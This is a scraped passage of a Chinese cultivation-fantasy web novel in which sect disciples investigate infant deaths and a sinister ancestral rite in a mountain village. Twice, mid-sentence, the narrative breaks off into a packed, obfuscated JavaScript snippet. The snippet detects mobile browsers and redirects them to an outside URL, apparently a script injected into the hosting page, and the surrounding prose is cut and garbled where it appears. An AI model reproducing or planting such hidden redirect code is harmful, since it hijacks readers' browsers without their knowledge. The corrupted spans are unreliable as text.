几人一言一语,说得步阙乾有些毛骨悚然,震惊道:“原来只有我一个人什么也没看出来吗?” 锦书简直对这个傻白甜服气了。 燕临见怪不怪道:“早知道你靠不住。距离十五还有三天,既然这个村长有古怪,那在他这里恐怕也调查不出来什么了。我们兵分两路吧,一边去找村民打探消息,另一边去看看祭祀到底是个什么情况。” 众人一致同意,便也抓紧时间出发了。 村长的宅子离祠堂并不远,锦书和陈赋舟跟着那热闹的声音也不难找,另一边,步阙乾三人也各自去探访受害者了。 此时参加祭祀的人都有序地站在了院子里,锦书两人在门外朝里看去。祠堂并不小,大门进去就是院子,院子两侧各有一井,往里走是宽敞宏伟的大厅,居中高悬“春潮堂”大匾,取得是“芝兰玉树盈香气,子孙繁衍似春潮”之意,大厅两侧的墙上悬挂着族谱,高高的牌位立在大厅中央,牌位前的香炉里插着几根香。 “全是男人。”锦书用胳膊肘戳了戳身侧的陈赋舟小声道。 “......”陈赋舟也说不出所以。 陈大富从院子一侧大摇大摆地走了出来,他不再是像面向锦书一行人时面色和蔼,他板着脸站在众村民前狠狠地咳嗽了两声。 在所有视线都聚焦在自己身上后,他接过身边人递来的香,大声宣布道:“今年的祭祀目的还是只有一个,向老天爷祈求咱们偃建村人丁兴旺,后代繁荣!” 众人皆应好。 “可是.......村长,那个妖怪真的不是来报复咱们的吗?这祭祀......”有个不起眼的男人弱弱地提出疑问,但话还没说完,杨大富凶狠的眼睛就马上瞪了过来,唬的男人马上低下了头不再言语。 “杨刚,你这是什么意思?从上上次祭祀,你就多次找茬,既然如此就赶紧带着你家那两个便宜货给我滚出偃建村,别在这碍人眼!” 名叫杨刚的男人慌张地从人群中出来,对着杨大富弯了弯腰,惶恐道:“村长,我错了,都是我胡思乱想,都是我胡说八道的。” 杨大富冷哼了一声,不再搭理他,转过身走进正厅,将点燃的香火插进了香炉里,接着跪倒在牌位前,在嘴里念念有词的说了些什么后,恭恭敬敬地磕了三个头,院子里的男人们也跟着跪下磕头,一时间院子里只能听到杨大富含糊不清的嘟囔声。 锦书和陈赋舟狐疑地对视了一眼,两人都有些一头雾水。 “这地方都死这么多人了还在祈求子嗣呢?这个杨刚刚才为什么要说妖怪是来报复他们的,他们到底干了什么事?” 陈赋舟眉头紧缩:“不像是祭祀,反倒像是什么阴邪仪式。” 祭祀仪式马上就要结束了,院子中的人纷纷站起身要离开,锦书一把抓住陈赋舟的胳膊,拉着他闪身到一边,她看向被训斥后愁眉苦脸正要离开的杨刚,对着陈赋舟努力努嘴道:“这个杨刚看上去比较老实,咱们也别费劲瞎查了,估计这一个村的人都是一伙的,肯定不会说实话,不如直接找杨刚问个清楚。” 两人鬼鬼祟祟地跟在陈刚身后,他一个人走在路上,显然心思都不知飘到了哪里,半路上还拐到糕点铺子,买了些最便宜的糖糕,铺子的老板同他打招呼,他也只是勉强笑了笑。 陈刚家在偃建村的最外围,锦书两人到的时候都有些不可思议,这地方就算在穷苦的偃建村中也能称得上是破烂一栋了。 木质的围栏缺口不断,简直只能起到个摆设作用,院子里的一切都一览无余,一座小小的房子立在院子里,房顶的瓦片甚至都不太全。 杨刚矗在院门口,深深地吸了口气,忐忑的推开了门,破旧的木门发出嘎吱一声,斜斜地向一旁倒去,杨刚连忙手忙脚乱地扶了起来。 听到外面传来的动静,一个和杨岚年纪差不多的女孩从屋里谨慎地探出了头,看清来人才雀跃地扑了过去,撒娇道:“爹爹,你可算回来了,我们等了你好久了。” 杨贵搂住女孩,勉强扯起嘴角笑道:“你这丫头......你娘和妹妹呢?” 女孩显然没有发现杨刚的异样,她天真地说道:“娘和妹妹都好好地在屋里呢。” 杨刚安心了些,提着糖糕和女孩一起走进了那座小屋,瞧见简陋的小屋里,妻子正坐在床上,怀里搂着一个襁褓,她温柔地晃着襁褓,专注地盯着襁褓里的孩子。 看到妻子身形瘦弱,脸色憔悴,面容蜡黄,杨刚心疼的叹了口气。 在女人抬头的瞬间,他又迅速收拾好自己的表情,满脸笑容地将手里的糖糕递了过去,女人惊喜地接了过来道:“怎么还买了这个?” “我这不是想着你爱吃嘛。” 女人不赞同地摇摇头:“你和珍珍许久都没有添置过新衣了,我又怎么好意思吃这些呢。” 杨贵坐在床边,抓着女人的手安抚地拍了拍:“阿翠,你现在身子还虚弱,本来就该吃点好的补补,是我没本事,买不起更好的,只能委屈你吃这些。衣裳会有的,我一定努力,让咱们一家四口都能穿上新衣。” 阿翠无奈地笑了笑,将怀中的襁褓递给了杨贵:“你今天出去了,宝宝一直在哭呢,肯定是想爹爹了,宝儿快看,爹爹回来了。” 襁褓中的婴儿听不懂阿翠的话,咬着手指,瞪着清澈透亮的大眼睛盯着爹娘看,半晌又咯咯笑出声来,将夫妻二人都逗笑了。 杨贵一只手搂着孩子,一只手握紧妻子,只觉得心中安稳,倘若能一直这样该多好。 “爹,外面有人找!”杨珍掀开屋帘,把头伸进来催促道:“是两个长得顶顶好看的人,穿的也可漂亮了,简直像是天上的神仙下凡了一样。” 杨贵有些疑惑,却还是出了门。 锦书二人躲在暗处大概了解了杨贵的状况,便直接出击找上了门。 锦书首先温和地笑道:“杨叔,我们是天玄宗的修士,现在过来是想向你问一些事。” 杨贵一听到“修士”便惊地后退了两步,身旁的杨珍还在好奇地问:“爹爹,修士是什么?” “珍儿,你进屋陪着娘和妹妹吧。爹现在有事要忙,你替爹照顾好娘和妹妹好不好?” 杨珍乖巧地点点头,在她回屋了之后,杨贵才硬着头皮道:“各位道长,我们借一步说话。” “杨叔,祭祀的时候你说的妖怪要报复你们是什么意思啊?”三个人刚绕到了小院的后面,锦书迫不及待地就发问了。 “唉......”杨贵面上呈现出焦虑之色:“道长,这个我不能告诉你们。” 锦书又问:“那能不能告诉我们祭祀的事?” 杨贵又扭了扭头回绝道:“抱歉,这个我也不能说,如果告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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步阙乾三人回来比较早,已经提前分享了发现,此时李行道总结道:“我们打探的情况都差不多,从孩子们的出生年月来看并没有什么共同点,可以排除是妖怪挑选体质特殊的孩童练功,但有一点奇怪的是,死的孩子都是男婴,或者说,偃建村半年以来除了杨贵家没有一个女孩出生。 燕临补充道:“其实我们并没有找到什么有用的发现,这里的人嘴都很严实,不管怎么问都不愿意多说些什么。但有户人家的女主人自从孩子死了就疯了,我去的时候她一直在尖叫着‘是他回来找我了’,‘是他来找我这个做娘的索命来了’,‘是我对不起他’,我察觉到了不对想仔细问问,但他们却不肯让我进去,我也不能硬闯,只能做罢。” 陈赋舟含笑嘲讽道:“地方不大,龌龊事倒不少,既然不敢让人知道,又何必求着我们来。” 步阙乾直叹气:“没办法,既然接了这烫手山芋,就不能扔了。既然线索还在杨贵身上,咱们明日就一同去拜访一下他吧。” 这种情况下,众人只能如此,不过这种情况下谁心里都不好受,令人窒息的沉默蔓延开来,锦书看着桌上的大鱼大肉,只觉得反胃,愤愤地放下筷子:“我吃不下去了。” 一顿饭吃的人心里难受,其他人也纷纷表示难以下咽,于是便不欢而散,满怀忧虑地各自回了房。 18. 第 18 章 第二日,阳光洒向了整座偃建村,仿佛能一扫阴霾一般将整座村庄照得暖洋洋的。 锦书五人昨日已经决定去拜访杨贵一家,但并没有动身太早,五人来到早市精心挑选了一些水果和补品,估摸着时间差不多了才敲开杨贵家的门。 杨贵大吃一惊,虽然昨日得了锦书两人的承诺与担保,但他实际上并不相信他们回来帮助自己。 他从小就出生在偃建村,活了几十年也没真正离开过这个山里的村庄。他年幼丧父丧母,能活到现在全靠自己,唯一得到的呵护也只是来自青梅竹马的妻子。 别看偃建村的人看上去都挺和蔼可亲,但因为村子太穷的缘故,真遇到点事都是不大门不出二门不迈,生怕有人找上门来求助,唯一一个有点钱的杨大富自从当了村长,便以为自己是个有头有脸的人物,整日在这片不大的地方作福作威,说声土皇帝都不为过。 昨日的安慰他只以为是锦书二人为了打探消息才哄着他的,今日看他们提着大包小包上门,不禁站在门前呆住了。 “是昨天的仙女姐姐和神仙哥哥,你们又来啦?还带来这么多神仙!”杨珍从杨贵背后探出了头,天真地笑道。 锦书温和地蹲下身拍了拍她的头,又将手里的一个包裹打开。 杨珍好奇的看过去,只见包裹里装着她从没见过的点心,形状各式各样,好看极了。 “哇!” 锦书将包裹递给她,笑了笑道:“姐姐今天和伙伴们来找你玩,你开不开心呀?姐姐给你带了好多好吃的呢!” 杨珍大大的眼睛简直要凝固在了手里的点心上了,听到锦书的话她才激动地抬起头道:“仙女姐姐,我可以把这个小花模样的给我娘吃吗?我还想把这个小兔子的留给妹妹,就是不知道妹妹能不能吃。” 她忽的有些腼腆,忸怩道:“对不起,仙女姐姐,我还没问你同不同意呢?主要是娘也没吃过这么好的点心,我想让她也尝尝。” 锦书本来被一口一个仙女姐姐叫的心满意足,不好意思极了,听到杨珍这样说也是一怔,连忙道:“珍珍,这些点心姐姐都送给你了,你想给谁吃都可以。” 杨珍得了肯定,雀跃地抱着点心一蹦一跳的回了屋子。 杨贵看见女儿这幅可怜的样子,心中一阵发酸,但在外人前不好情绪外漏。 他将众人引进院子:“各位道长,我家不大还有些简陋,不过好在干净整洁,你们若是不在意便进屋坐吧。” 随即,他又高声向屋里喊道:“阿翠,村里来了几个好心的大夫,说是要来看看你和阿宝呢!” 他转过头,面色为难,压低声音道:“劳烦各位道长不要提及那些事,阿翠她胆子小......” 燕临宽慰道:“你放心,就当我们是游离四方、救死扶伤的医师便行。” 屋子虽然小,但坐下五个人还是勉勉强强。 杨贵的妻子阿翠抱着襁褓坐在床上,看见他们进来,便感激的要下床拜谢。 阿翠不像普通的孕妇,正常人生了孩子并不会同她这般瘦弱,而且她不禁身形单薄,神色也不太好,两颊一丁点肉也没有,薄薄的面皮附在骨头上,眼皮也紧紧贴着两个大大的眼球,眼下挂着两个青紫色的黑眼圈,嘴唇也微微发紫,不自觉的颤动着。 众人看她这般都吓了一跳,燕临急忙把她扶了回去。 阿翠不好意思道:“家里实在太小,没什么可以招待各位的实在是不好意思,今天中午就留下来吃饭吧。” 众人知道她这是脸皮薄,不好意思白白占了便宜,也就没有推辞应下了。 步阙乾本就兼修医修,看病自然不是什么难事,他将手指摁在阿翠的手腕上,又仔细地端详了她的脸色,思索片刻说道:“倒也并不是什么大病,脉象凝滞,是生产过后气血运行不畅,只要仔细调养、活血化瘀,促进气血通畅就好。可有纸笔,我给你们写个方子。” 杨贵夫妻二人对视了一眼,听到并无大碍才缓缓松了口气,杨珍已经懂事地去拿了纸笔给步阙乾。 燕临探过身,亲切地看向阿翠怀里的孩子,问道:“是男孩还是女孩?” 阿翠脸上流露出慈爱之色:“是女孩,叫杨宝。” “叫我抱抱可好?你别见怪,我家中姊妹多,向来喜欢小孩。” 阿翠自然不会拒绝,小心翼翼地将襁褓递了过去,燕临熟练地接过孩子,将她搂到几人中间。 锦书伸着头往里看,她没怎么见过年纪这么小的孩子,上辈子也没有什么弟弟妹妹,一时间好奇心大作。 襁褓没有什么复杂的花纹,但却很厚实,布料看起来很是舒适柔软,比杨贵和阿翠穿的好多了。襁褓中的婴儿脸颊白嫩,正香甜地做着美梦,浑然不知外面的世界怎样,被搂了过来后,婴儿也睁开了眼睛,锦书本以为她见到这么多陌生人会哭闹不止,没想到她却咯咯地笑了起来。 锦书也被逗笑了,忍不住伸手戳了戳她可爱的脸蛋。 几人同阿翠唠起了家常。 “唉,自从我生了阿宝,阿贵就常常发呆,一个人坐那不知道想什么,我喊他好几遍,他才能回过神。”阿翠理解地说道:“我知道他肯定是在想怎么让我们一家过得好一点。” 步阙乾附和着点点头:“杨叔很顾家。” 一提到这,阿翠的话头就和关不住闸了一样泻下来:“我们两个都是孤儿,爹娘死的早,从小就无依无靠,阿贵人好,一直保护我,每次被打的头破血流,还反过来安慰我。” “我呢是个没用的女子,阿贵是男子,要不是他总护着我,惹得村里人不高兴,现在的日子说不定好过多了。” 燕临皱了皱眉,她不太喜欢这种落后的思想,但也不好多说,只能宽慰道:“你不要多想,这不是恰恰证明了杨叔是个好男人吗?” 正说着,杨贵端着菜进了屋,听到妻子正在夸赞自己,他内敛地笑了笑,摆摆手。 这时,杨珍从屋外跑了进来,扑到阿翠床前,扯住她的手,撒娇道:“娘,外面有小哥哥喊我出去玩呢!我能出去吗?” 话音刚落,杨贵和阿翠的脸色瞬间就变了,杨贵严厉地呵斥道:“我不是让你别理那群人吗?不准出门,就在这屋里待着,不准踏出去一步。” 锦书惊诧地望向杨贵,这是她第一次看见这个好脾气的男人这样讲话,眼看杨珍撇了撇嘴,大眼睛里盈满泪水,马上就要哭出来了,锦书抓着她的胳 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杨贵疑惑地停下了筷子,思索了一番,才试探性的开口道:“杨大富吗?我们偃建村的大多都有血脉关系,杨大富是最主要的那一脉,他爹和爷爷都当过村长,所以他当的时候也没什么人有异议。” 锦书放下筷子:“我看瞧他脾气那样差,就没人对他有异议吗?” “他们家祖祖辈辈都是村长,村子里面和山外面联系的方式就只有他一个人知道,平时大家都不能下山,要是惹恼了他,就不能把自家卖的东西运到山外面去,也不能从外面买东西回来。” 锦书撇了撇嘴,不屑道:“还真是个土皇帝。” 陈赋舟却注意到杨贵还有些欲言又止,但最后什么也没说,他在桌子下面扯了一下锦书的袖子,对她使了个眼神,其他三人不同两人坐在一起,都没有察觉到。 五人吃完饭便离开了,又回到了小院商量下一步的计划。 陈赋舟抱着肩道:“这个杨贵也有秘密。这偃建村倒是人人都藏着事。” 步阙乾皱着眉:“他们什么都不说,就叫我们在这干查!现在只能走一步算一步了。” 李行道冷静地分析道:“我认为还是要将重点放在祠堂上。” 锦书也点头附和。 “不过村长从我们来到现在,一句也没有提起杨贵家还有个孩子,估计是不想管他们,想让我们把全部心思都放在他儿子身上。”燕临关键时候比步阙乾靠谱多了:“我看我们明天还是把杨宝接过来,两个孩子在一起,省的我们还要分出精力两边跑,杨大富有求于我们,量我们执意如此,他也不敢多说什么。” 燕临一锤定音:“明天晚上是最最关键的,两个孩子待着的屋子要提前布好阵法,还要去通知杨大富和杨贵一声,我看我们还是兵分几路的好,步阙乾去找杨贵,你给阿翠治过病,她信任你。你随便编个理由,让她放心把孩子交给我们,锦书你是个半吊子,上课天天打瞌睡的货,赋舟呢,又常年闭关,估计对阵法也不怎么了解,你们两个就一起去一探祠堂的究竟,行道同我一起去布置法阵。” 19. 第 19 章 日头照的最炽热的时候,锦书和陈赋舟大摇大摆地走出了杨大富的宅子,目标清晰地往祠堂走去。 祠堂外常有村民轮班看管,两人没有乔装打扮,正是想看看这些村民会不会阻止他们进去。 高高的台阶堆积在祠堂外,喂进入的人设下门槛。 两人跨上台阶,正想要推开大门时,果不其然被几个村民拦住了。 “道长,你们不能进这里。”一个长相淳朴的村民张开手拦住他们,赔笑道:“这是我们村子的祠堂,外人不能进去。” 锦书皱眉道:“我们想找找妖怪的线索也不行吗?这可是关乎你们安危的大事情——”锦书将“大事情”三个字拖得老长。 村民们确实被“妖怪”两个字威慑到了,互相对视一眼,有些动摇,可好像又想起来什么似得,坚定地说道:“真不行,我们都是村长让搁这看着的,要是没他同意就放你们进去,他村长可是要拿我问罪的,两位道长就别为难我们了。” 陈赋舟盯着那扇涂着红漆、色彩斑驳、厚重的大门,目光沉沉,轻笑了一声道:“还真是听话。” 几个村民都守在门前,像门神一样堵在两人身前,半步不让。 两人早有预料,此时也没有过多纠缠,在村民们紧张的目光中转身离开了。 “我就知道,这地方肯定有古怪,不会随便让我们进去的。”锦书愤愤地踢了一脚祠堂外围的白墙,墙上出现了一个显眼的黑脚印,仿佛在宣告他们和这个格格不入的脚印一样都是偃建村不受欢迎的外来者。 陈赋舟点点头:“看来,只能用那个办法了。” “师姐慢一点,小心摔下来。” 锦书跳下来的时候差点摔倒,忍不住惊呼了一声,听到提醒,她连忙用手在嘴前做了一个缝起来的手势,表示自己不会在发出额外的声响了。 她只是还没习惯而已,毕竟上辈子一直是个乖乖女,怎么穿过来了天天和做贼一样翻墙。 锦书鼓着嘴小声嘟囔了句:“每个修仙的都要学翻墙吗?” 祠堂院子不小,不然也不足以容纳整个村的男人,锦书在院子里踱步,四处打量着周围。 祠堂平日里时常有人打扫,非重要场合,也不会有人进来,因此一切都显得很是平常。硬要说的话,其实这院子和普通人家的并没有什么大区别,看上去再简单不过了。 “我觉得这院子没什么可看的,咱们进屋里看看吧。” 两个人一番折腾下来,此时已近黄昏,天色朦胧梦幻,太阳还未落山,大半都被层云遮挡着,光线随着云层的散开聚拢,时明时暗,变换多端。 祠堂正屋上了锁,陈赋舟推开锦书,把玩了片刻,就轻松地将其解下了。 锦书推开屋门,小心地走了进去:“师弟居然还会这些歪门邪道。” 陈赋舟只是解释道:“有能用的到地方就学了。” 锦书虽然有些好奇用的地方是哪里,但想到这是对方的隐私,还是按捺住了疑问没说出口。 无人的祠堂并没点灯,这座屋子四四方方,并没有窗户,两人站在入口处,大门敞开,晚霞斜斜地打了进来,照的整座屋子也时明时暗。两个人的影子映在祠堂的地面上,高高瘦瘦,一直延伸到牌位前的蒲团上,在地面上摇摇晃晃。 泛黄的光线悄悄地爬上了神像的面颊,神像微笑着看向下方,犹如神仙下凡慈爱地看着自己的子民。 锦书却不自觉地打了一个冷战:“这地方怎么阴嗖嗖的?” 陈赋舟:“害怕吗?” 锦书一点也不遮掩,语气坚定地一口应下:“嗯,我害怕!” 陈赋舟幽幽地叹了口气:“我也害怕,还想让师姐保护我呢。” 两人现在熟了许多,陈赋舟说话也带了些他无意识的冷幽默,常常能像现在这样逗锦书一笑。 锦书的恐慌感少了不少,心中莫名地油然升起一股保护欲,当即就一步站在了陈赋舟身前。 陈赋舟抬眼扫视了一圈,最后视线聚焦在了牌位后的神像上,他走上前,抄起一旁的灯台,使了个法咒点亮了蜡烛,随即毫无敬畏之心的拿起牌位仔仔细细地端详了起来,锦书好奇地跟过去,视线也随着他的目光凝聚在了牌位上。 不过,她什么也没看出来。 陈赋舟看完后将牌位随手扔了回去,退后了两步,双手叉腰,目不转睛地盯着微小的神像。 锦书将牌位仔仔细细地物归原处:“别被他们发现我们来过了。你看半天看出来什么了?” 陈赋舟定了定神道:“这屋子的神像,墙上画的彩图还有牌位上写的,都和一个神仙有关——鬼子母。” “鬼子母?” “鬼子母是凡人常拜的神,通常是用来求子的。不过,普通人拜的都是送子的鬼子母,但眼前这座却是吃子的鬼子母,并不是真正的送子神,是几万年前魔修们为了吸食凡人的精力造出来的邪神,本来只是拿祂当容器,谁知道,供奉的人多了,鬼子母所得的香火也就多了,祂在这些香火的供奉下竟然真的有了神像和半缕神魂。” “当时正值仙魔大战,修士和魔修只见摩擦不断,大小纷争占据了人魔两族全部的精力,竟然没人注意到凡间已经出现了这样一个邪神。直到,两派达成统一,世间逐渐和平下来时,人们才发现,鬼子母和祂的信徒已经把凡间搅成了一团浑水。” “这吃子的鬼子母在有了神像和半缕神魂后,不再满足于凡人供奉的香火,为了塑造一个完整的神魂,祂蛊惑自己的信徒,以送子的名义,让他们向自己供奉童男童女,有些心智稍弱的人忍不住蛊惑便失了心智,到处抓来童男童女献祭。” “最后,为了避免鬼子母作恶,众宗门世家合力镇压了鬼子母的神魂,并将她的神像也关押在极寒之地,修士们在凡间清理所有有关祂的宗庙,自此以后,祂便从未在世间出现过了。” 锦书心中一阵惊悚,不禁开口问道:“那这群人怎么会供奉这座神像?谁告诉他们的?” 鬼子母居高临下地摆在供台上,面带微笑目视前方,锦书却觉得那视线好像若有若无地放在她身上,看的她浑身发毛。 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锦书慢慢地靠到他身上,身边人的体温让她稍稍安了心,又试探的喊了几句陈赋舟。 陈赋舟并没搭话,灯光熄灭的那瞬间,他就已经浑身冷汗不止,双手攥紧,眼前一片恍惚。 在永乌楼里冰封的记忆瓦解,随黑暗一起涌来。 绝望、痛苦、愤怒,全都难以抑制的涌上心头,陈赋舟感到离魂引在体内暴动,勾起千丝万缕的灵力在经脉中肆意碰撞,熟悉的疼痛令他越来越分不清现在到底身处何地。 祠堂和幼时那座关着自己的囚笼以黑暗为催化剂合二为一,他脑子晕乎乎的,离魂引半点也不闲,窜动着,在他体内流窜。 恍惚间,那个叫做“娘”的女人冷漠的神情、陈安然甜甜的笑容还有那夜纪锦书站在花树下飘扬的花瓣,一切的一切犹如皮影戏在他眼前展开,他眼花缭乱、口干舌燥,只想抱头尖叫让所有的一切都停下,可他却无助的张了张嘴没有发出一丝声音。 就算求救也不会有人来的,他自暴自弃地想到,在永乌楼的那些日子,他每天都在哭在求求娘放他出去,不是也没有人来吗? 犹如溺水一般,他淹没在万千思绪中,即将绝望地放弃了求生。 突然,一阵清脆的疼痛将他唤醒。 陈赋舟猛然睁开双眼,脸上火辣辣的疼痛提醒着他,刚刚纪锦书狠狠地扇了他几个巴掌。 身边是少女焦急的呼唤:“师弟?陈赋舟?你不会真的被上身了吧?你快说句话啊?你是不是故意要吓我?” 陈赋舟怔了怔,撕心裂肺的痛感还未曾消散。 “对不起,我不是故意要打你的,只是你能不能别吓我,我胆子小,真的害怕!” 陈赋舟低下头,少女正扯着他的袖子大力地晃着,简直是把他当成一个不倒翁一样晃来晃去。 他缓缓抬起一只手,指尖凝聚出暖黄色的、令人安心的明亮。 少女果然松开了拉在他袖子上的手,就像什么也没发生过一样,他忽的感觉心里空落落的。 20. 第 20 章 锦书松手转身打开了屋门,向外走去。 陈赋舟摸了摸那只被她紧紧抓过的袖子,上面还残有余温,少女的马尾在余晖中甩出一道干脆的影子,他心脏紧了紧,抬脚跟着出门了。 好不容易看见天空,锦书总算喘了一口气,踹了一脚地上的石子,石子飞起来,在空中划过,飞向了院中的井旁。 “喵——”一声尖利的猫叫声传来。 锦书诧异地“啊”了一声,这院子里居然还有猫。 她快步走到井旁,蹲下身扒开了茂密的草丛,一只虎皮猫咪探出头,幽怨地盯着她。 锦书愧疚地双手合十道:“对不起,对不起,我不知道你在这,我不是故意的。” 猫咪高傲的甩了甩头,并不理睬她,一摆身就将头枕在了一个桃色的荷包上,舒适的眯起眼睛,打了一个哈欠。 这祭祀不是只让男人参加吗?为什么会出现一看就是女子的荷包? 锦书心中疑惑,于是伸手轻轻地捞起猫咪的头,猫咪睁开眼不满地叫了声,她歉疚地说了声:“不好意思,耽误你睡觉了,但能不能让我看看这个东西呢?” 猫咪喷出轻轻地鼻息,灵活地一跃而起,迈着轻盈的步子走向了一旁,锦书抄起那个荷包,拍了拍上面的灰,荷包绣工粗糙,却针脚紧致,上面的绣的是花卉百兽的图案。 锦书心道,不知是谁家绣的,虽然绣工不怎么样,但看上去应当很是用心,怎么会落在这里? “喵——”虎皮猫咪又发出了叫声,锦书看过去,它正站在井口懒散的舔着自己的爪子,看到人类的目光后,不紧不慢的摇了摇尾巴,蹦到了锦书怀里。 这口井在院子两侧各有一个,井口用厚重的石头围起,又用一块结实的木板封死了,木板上两张锦书从未见过的符咒一十字交叉的形式贴在上面,井口潮湿,符咒已经长满了青苔,看不清上面写的什么东西,锦书好奇地伸出手指戳了戳,湿润的符咒立马破开一道口子,她不敢乱动,收回了手。 “这是什么?”少年的声音在背后突如其来的响起。 锦书吓得一个踉跄,一屁股栽倒在地上:“我不知道。” 陈赋舟岔开话题:“师姐,天色不早了,我们该回去了,将这个也带走吧。” 锦书这才发现天已经黑透了,月亮高高悬挂,微有缺口。 屋内,烛火点点。 “既然如此,那恐怕偃建村这的妖邪是他们自己造孽迎来的了,怪不得他们什么都不愿意说。”燕临冷笑一声:“不过如果是和鬼子母扯上关系,我们最好还是现在就通知长老们。” 众人纷纷点头赞同。 步阙乾说道:“我已经和杨贵家的说过了,就说是要替阿宝检查身体、疏通经脉,正好村长家里的也差不多年纪,为了方便,就一起在村长家里检查了,阿翠没发现什么异样,很高兴的同意了。” “那我们明日便一同守在屋里照看着两个孩子,妖怪来的时候也好一起抵御。” 安排既然已经定下来,众人不免紧张,时间便在这氛围中流逝了。 第三日,晌午。 步阙乾已经将阿宝抱了过来,村长也带着他儿子——杨有钱过来了。 锦书虽然已经对大富大贵这样的偃建村式起名方式有所适应,但在听到这么直白的名字后,还是险些把嘴里的水喷了出来。 杨大富将杨有钱递给燕临,紧张道:“道长,我好不容易才得了这个儿子,你们一定要仔细照料啊,如果他没了我还怎么见我们杨家的老祖宗。” 燕临面露讥讽。 杨贵也跟了过来,正唯唯诺诺地站在杨大富身后,他显然也是极为害怕,嘴唇哆嗦着,不断地抬手抹去额头上并不存在的汗水,等杨大富说完后,他才走上前恳求道:“道长,还有我女儿,求求你们了,一定要......” 杨贵话音未落就被杨大富粗鲁的推到旁边,话中轻蔑,说道:“你那个赔钱货哪有我儿子重要,送来就是替我儿子挡灾的。” 接着,他又揣起手向众人赔笑道:“各位道长只管看好我儿子,这可是我们村下一辈的希望。” 燕临紧缩眉头,不留情面地说道:“两个孩子,我们都会仔细查看,不会厚此薄彼的。” 陈赋舟也冷笑了一声:“村长若是不放心,便把孩子搂回去吧。” 杨大富连忙摆摆手,识相地闭嘴了。 李行道做事向来细致,他又一次检查了屋子四周布下的阵法,确认无误后,对着众人比了比手势。 这阵法通常情况用来抵御平常的妖兽,但他担心真是鬼子母,于是稍加改进,在阵法的四个阵眼都摆上了天玄宗传下来的一套小型玉制神兽像。 有了玉像,法阵便提高了一个层次,不说能够抵御邪神,至少拖延一点时间是没有问题的。 李行道不太放心地向杨大富叮嘱道:“这屋子外围四角都摆上了一座玉像,有了这些,阵法威力大增,能抵御许多不同寻常的妖兽,今晚你务必注意不要让人靠近这些玉像。” 杨大富眼珠子转了转,连忙应声答应了下来。 几人将两个孩子抱回屋里,杨有钱到了陌生环境,周围又是不认识的人,马上就认生的哭了起来,燕临只能抱起襁褓轻哼着哄了起来。 锦书探着头看了过去,只见杨有钱小脸乌黑,皱巴巴的简直像个老头,和白湛可爱的杨宝比起来简直地上人间,不过他的襁褓布料华丽,用细腻的针线修满了各式各样、寓意美满的图案,而杨宝的襁褓却使用不同的布料碎片缝起,摸起来粗糙的甚至有些扎手,但她却不哭不闹,乖巧地躺在襁褓里,用大大的眼睛天真的打量着周围。 她忍不住叹了口气,打趣道:“杨宝真像是凤凰生在了麻雀巢。” 陈赋舟笑着接道:“那杨有钱是什么?□□错投鲤鱼窝?” 众人都忍俊不禁地笑了起来,只有襁褓里的杨有钱好像听懂了一般,哭的更大声了。 时间在众人的担忧与紧张中过得很快,几乎是转眼间,夜色就笼罩了整座偃建村,一轮满月凝固在天空中,白色的光芒温吞地散发在周围,像一团又一团的霜花。 月亮升的越高,众人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919146|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心也就吊的越高。 步阙乾背着手在屋里走来走去,不断地叹着气。 锦书晃得头晕眼花,忍不住道:“大师兄你能安安静静在这里坐着吗?” 步阙乾表情浮夸,声线高扬:“你这是身在福中不知福,你们几个都是剑修没什么好怕的,可我就不一样了,我只是一个手无缚鸡之力的可怜丹修,妖怪来了第一个抓的是有钱哥和宝宝姐,第二个就是我!我走过无数路,跨过无数桥,遇见了无数妖怪,这些年来,我窝囊过,也窝囊过,窝囊过,又窝囊过,还是窝囊过,总是窝囊过......” “大师兄先别窝囊了,你现在的当务之急是赶紧坐下闭嘴,不要破坏了咱们的士气。待会妖怪在门口听到你这么窝囊,估计以为我们都是好惹的,直接破门而入把我们都抓走了。”锦书比了个暂停的手势。 步阙乾楚楚可怜道:“难道咱们很不好惹吗?” 燕临不由得哈哈大笑。 “等会和妖怪对上,你就知道什么就不听老人言,吃亏在眼前了。作为一个没有战斗力的丹修,其实我也不是没有过梦想,但在经过了一番努力后,我终于、终于尝到了放弃的甜头,从此就过上了甜甜蜜蜜的生活!”步阙乾用他那泫泫欲泣的眼睛眨巴着看向锦书:“小师妹,我很期待你加入我呦——” 锦书被肉麻的一阵寒颤,别过脸不看他,步阙乾又转过头向师弟们抛去媚眼,最后是燕临看着李行道面无表情地脸上肌肉颤抖,笑的肩膀直抖,把步阙乾的脸转向一旁,拯救了可怜的师弟师妹。 夜晚已经过了一半,众人坐在屋里已经开始有些犯困了。 锦书打了个哈欠:“还来不来了?难道是畏惧我们的实力被吓得不敢过来了?” 燕临也有些疲乏了:“已经这个点了,不会真不来了吧?” 步阙乾信誓旦旦:“或许是被阵法困在外面了,今晚应该不会有什么事了。” “可我总觉得心中踹踹不安。” 众人神情都不太好,只有李行道坐在桌边,抱着那把重剑,紧缩眉头,专注地盯着床上的两个已经陷入沉睡的孩子。 锦书肚子咕咕地叫了起来,她脸一红,有些羞耻。 步阙乾冲她笑了笑,说了句:“没事师妹,人之常情。” 锦书更不好意思了,这时身边的人用胳膊肘撞了撞她,随即递过来一块放在手帕上的糕点。 “师姐,吃吧,鲜花糕,很甜。”陈赋舟轻笑一声,不容拒绝的将它塞进了锦书手里。 锦书抿了抿唇,想着这妖怪总不会这么巧,就赶在自己吃东西的时候过啦,也就不客气的捻起糕点塞入口中。 “有人!”李行道站起身来,厉声呵道,他怀中的那把重剑此刻正微微颤抖着,发出“嗡嗡”的声音。 